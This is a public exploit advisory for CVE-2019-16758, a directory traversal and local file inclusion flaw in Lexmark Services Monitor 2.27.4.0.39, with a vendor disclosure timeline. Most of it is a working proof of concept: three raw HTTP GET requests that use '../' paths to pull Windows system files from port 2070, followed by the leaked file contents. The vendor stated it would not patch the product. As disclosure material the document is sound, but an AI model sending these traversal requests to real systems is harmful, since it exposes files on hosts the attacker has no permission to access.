142 lines
No EOL
4.5 KiB
Text
142 lines
No EOL
4.5 KiB
Text
# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal
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# Google Dork: N/A
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# Date: 2019-11-15
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# Exploit Author: Kevin Randall
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# Vendor Homepage: https://www.lexmark.com/en_us.html
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# Software Link: https://www.lexmark.com/en_us.html
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# Version: 2.27.4.0.39 (Latest Version)
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# Tested on: Windows Server 2012
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# CVE : CVE-2019-16758
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Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.
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Timeline:
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Discovered on: 9/24/2019
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Vendor Notified: 9/24/2019
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Vendor Confirmed Receipt of Vulnerability: 9/24/2019
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Follow up with Vendor: 9/25/2019
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Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019
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Vendor Confirmed Vulnerability is Valid: 9/26/2019
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Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019
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Vendor Confirmed Signoff to Disclose: 9/27/2019
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Final Email Sent: 9/27/2019
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Public Disclosure: 11/15/2019
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PoC:
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GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1
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TE: deflate,gzip;q=0.3
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Connection: TE, close
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Host: 10.200.15.70:2070
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User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20
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HTTP/1.0 200 OK
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Server: rXpress
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Content-Length: 848536
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.[.P.e.r.f.l.i.b.].
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.B.a.s.e. .I.n.d.e.x.=.1.8.4.7.
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.L.a.s.t. .C.o.u.n.t.e.r.=.3.3.3.4.6.
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.L.a.s.t. .H.e.l.p.=.3.3.3.4.7.
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.[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].
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.F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8.
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.F.i.r.s.t. .H.e.l.p.=.5.0.2.9.
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.L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0.
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.L.a.s.t. .H.e.l.p.=.5.0.4.1.
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.[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].
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.F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6.
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GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1
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TE: deflate,gzip;q=0.3
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Connection: TE, close
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Host: 10.200.15.70:2070
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User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3
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HTTP/1.0 200 OK
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Server: rXpress
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Content-Length: 38710
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..[.S.t.r.i.n.g.s.].
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.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".i.p.k.".
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.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".I.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y. .(.r.e.p.l.a.c.e.s. .e.x.i.s.t.i.n.g. .k.e.y.).".
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.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".u.p.k.".
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.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".U.n.i.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y.".
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.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.=.".a.t.o.".
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.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.U.s.a.g.e.=.".A.c.t.i.v.a.t.e. .W.i.n.d.o.w.s.".
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.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.=.".d.l.i.".
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.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.=.".D.i.s.p.l.a.y. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".
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.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.V.e.r.b.o.s.e.=.".d.l.v.".
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.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.V.e.r.b.o.s.e.=.".D.i.s.p.l.a.y. .d.e.t.a.i.l.e.d. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".
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.L._.o.p.t.E.x.p.i.r.a.t.i.o.n.D.a.t.i.m.e.=.".x.p.r.".
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GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1
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TE: deflate,gzip;q=0.3
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Connection: TE, close
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Host: 10.200.15.70:2070
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User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)
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HTTP/1.0 200 OK
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Server: rXpress
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Content-Length: 17463
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# Copyright (c) 1993-2004 Microsoft Corp.
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#
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# This file contains port numbers for well-known services defined by IANA
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#
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# Format:
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#
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# <service name> <port number>/<protocol> [aliases...] [#<comment>]
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#
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echo 7/tcp
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echo 7/udp
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discard 9/tcp sink null
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discard 9/udp sink null
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systat 11/tcp users #Active users
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systat 11/udp users #Active users
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daytime 13/tcp
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daytime 13/udp
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qotd 17/tcp quote #Quote of the day
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qotd 17/udp quote #Quote of the day
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chargen 19/tcp ttytst source #Character generator
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chargen 19/udp ttytst source #Character generator
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ftp-data 20/tcp #FTP, data
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ftp 21/tcp #FTP. control
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ssh 22/tcp #SSH Remote Login Protocol
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telnet 23/tcp
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smtp 25/tcp mail #Simple Mail Transfer Protocol
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time 37/tcp timserver |